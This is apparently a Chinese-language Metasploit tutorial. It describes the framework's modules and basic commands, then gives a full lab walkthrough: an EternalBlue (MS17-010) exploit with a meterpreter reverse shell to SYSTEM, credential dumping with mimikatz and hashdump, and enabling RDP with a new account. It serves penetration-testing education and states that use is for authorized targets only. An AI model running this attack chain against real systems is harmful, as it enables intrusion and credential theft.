一、Metasploit框架介紹
Metasploit是一個免費的、可下載的框架,通過它可以很容易地獲取、開發並對計算機軟件漏洞實施攻擊。它本身附帶數千個已知軟件漏洞的專業級漏洞攻擊工具。當H.D. Moore在2003年發布Metasploit時,計算機安全狀況也被永久性地改變了。仿佛一夜之間,任何人都可以成為黑客,每個人都可以使用攻擊工具來攻擊那些未打過補丁或者剛剛打過補丁的漏洞。軟件廠商再也不能推遲發布針對已公布漏洞的補丁了,這是因為Metasploit團隊一直都在努力開發各種攻擊工具,並將它們貢獻給所有Metasploit用戶。我們能夠通過它發現漏洞並進行快速實施攻擊,當然需要在授權的情況下
二、Metasploit模塊介紹
綜合滲透測試框架
MSF所用功能可分為這幾個模塊,每個模塊都有各自的功能領域,形成了滲透測試的流程
模塊名 | 模塊名 | 描述 |
---|---|---|
Auxiliary | 輔助模塊 | 為滲透測試信息搜集提供了大量的輔助模塊支持 |
Exploits | 攻擊模塊 | 利用發現的安全漏洞或配置弱點對遠程目標系統 進行攻擊,從而獲得對遠程目標系統訪問權的代碼組件 |
Payload | 攻擊載荷模塊 | 攻擊成功后促使靶機運行的一段植入代碼 |
Post | 后滲透攻擊模塊 | 收集更多信息或進一步訪問被利用的目標系統 |
Encoders | 編碼模塊 | 將攻擊載荷進行編碼,來繞過防護軟件攔截 |
三、MSF-基礎指令
命令 | 描述 |
---|---|
help/? | 幫助菜單 |
exit | 退出MSF控制台 |
Back | 返回上一級 |
info | 顯示一個或者多個模塊的信息 |
show | 顯示所給類型的模塊 |
background | 將當前操作在后台運行 |
use | 使用所選擇的模塊 |
set | 設置選項 |
unset | 取消設置的選項 |
session | 會話 |
use | 使用所選擇的模塊 |
使用MSF前先打開數據庫
開啟數據庫:service postgresql start
如果不開啟數據庫也可以,不過關於數據庫的命令用不了
初始化MSF數據庫:msfdb init
開啟MSF:msfconsole
查看數據連接狀態:db_status
常用模塊講解
Auxiliary 模塊: show auxiliary
Rank表示好用級別:normal(正常),excellent(優秀),good(良好),average(平均)
命名規則:功能/服務/名稱 scanner/smb/smb_ms17_010
Exploits 模塊: show exploits
命名規則:操作系統/服務/名稱 windows/smb/ms17_010_eternalblue
Payload 模塊:show payloads
命名規則:操作系統/類型/名稱 windows/x64/meterpreter/reverse_tcp
MSF搜索模塊
根據名稱搜索 : search ms17_010
MSF設置模塊
設置模塊:use auxiliary/scanner/smb/smb_ms17_010
查看選項:options
四、MSF攻擊流程
Ping下需要攻擊的目標地址 ping 192.168.2.168
指定ping四次 ping 192.168.2.168 -c 4
掃描目標地址端口有沒有開啟,永恆之藍端口445,文件共享服務端口
db_nmap 192.168.2.168 -p 445,-p指定445端口
發現目標機器開啟了445端口,查看hosts,發現目標地址已經存在這里了
搜索下永恆之藍模塊名字
search ms17_010
使用輔助模塊來掃描,看到了SMB REC,掃描下看有沒有遠程命令執行漏洞
use auxiliary/scanner/smb/smb_ms17_010
options,查看需要設置什么,一般都是設置yes
需要設置一個路徑,這個路徑就是字典文件,MSF已經設置好了,所以不需要設置
RHOSTS目標服務器地址,遠程主機的地址,需要設置成目標地址
目標端口
SMB線程
用戶名和密碼都是不需要設置的,因為MSF利用遠程命令執行這個漏洞去攻擊
設置RHOSTS,最簡單就是set rhosts 192.168.2.168
也可以利用hosts掃描到的數據庫里面有的,直接hosts -R也可以
使用run或者exploit都是可以攻擊的
發現了綠色的[+],說明可能存在MS17-010 漏洞的,同時也看到這台目標服務器的相關資料,操作系統是windows server 2008 R2 64位的,MSF自帶的只能攻擊64位的
接下來使用攻擊模塊
search ms17
發現有兩個攻擊模塊可以使用,這里使用一個ms17_010_eternalblue
直接use 8,進入到攻擊模塊
設置payload,先查看show payloads
反向連接tcp,因為不知道服務器有沒有網
使用meterpreter
set payload windows/x64/meterpreter/reverse_tcp
options 查看下還要設置什么
需要設置本機ip地址和目標地址
set lhost 192.168.2.250
set rhosts 192.168.2.168
設置好后現在就可以直接攻擊了
run
getuid查看下成功沒
拿到了SYSTEM的權限,NT是windows
shell看看,進入目標機器的CMD命令
load mimikatz ,加載mimikatz
kerberos,讀取目標機器用戶的憑證,明文密碼
background,把會話放在后台
db_nmap 192.168.2.168 -p 3389,掃描下端口,看能不能遠程登錄
端口沒開啟,使用post模塊,通過修改注冊表來開啟目標端口
search enable_rdp,rdp表示遠程登錄服務
use 0
options,看需要設置什么
在system權限上,把目標的3389轉發到本地的3389,再通過3389連接,可以新建賬戶密碼,session就是我們剛剛保留的會話,通過這個會話開啟服務器目標的端口和用戶名和密碼
set password 1234.a
set session 1
set username abc
run,攻擊下
db_nmap 192.168.2.168 -p 3389,掃描下看開放沒
rdesktop 192.168.2.168,遠程登錄
五、后滲透工具 - meterpreter
查看用戶權限: meterpreter> getuid獲取hash密碼: meterpreter> hashdump
上傳文件: meterpreter> upload
執行文件: meterpreter> execute -f notepad.exe
獲取屏幕截圖:meterpreter>screenshot
獲取shell:meterpreter>shell
聲明:請勿用作違法用途,請在授權情況下使用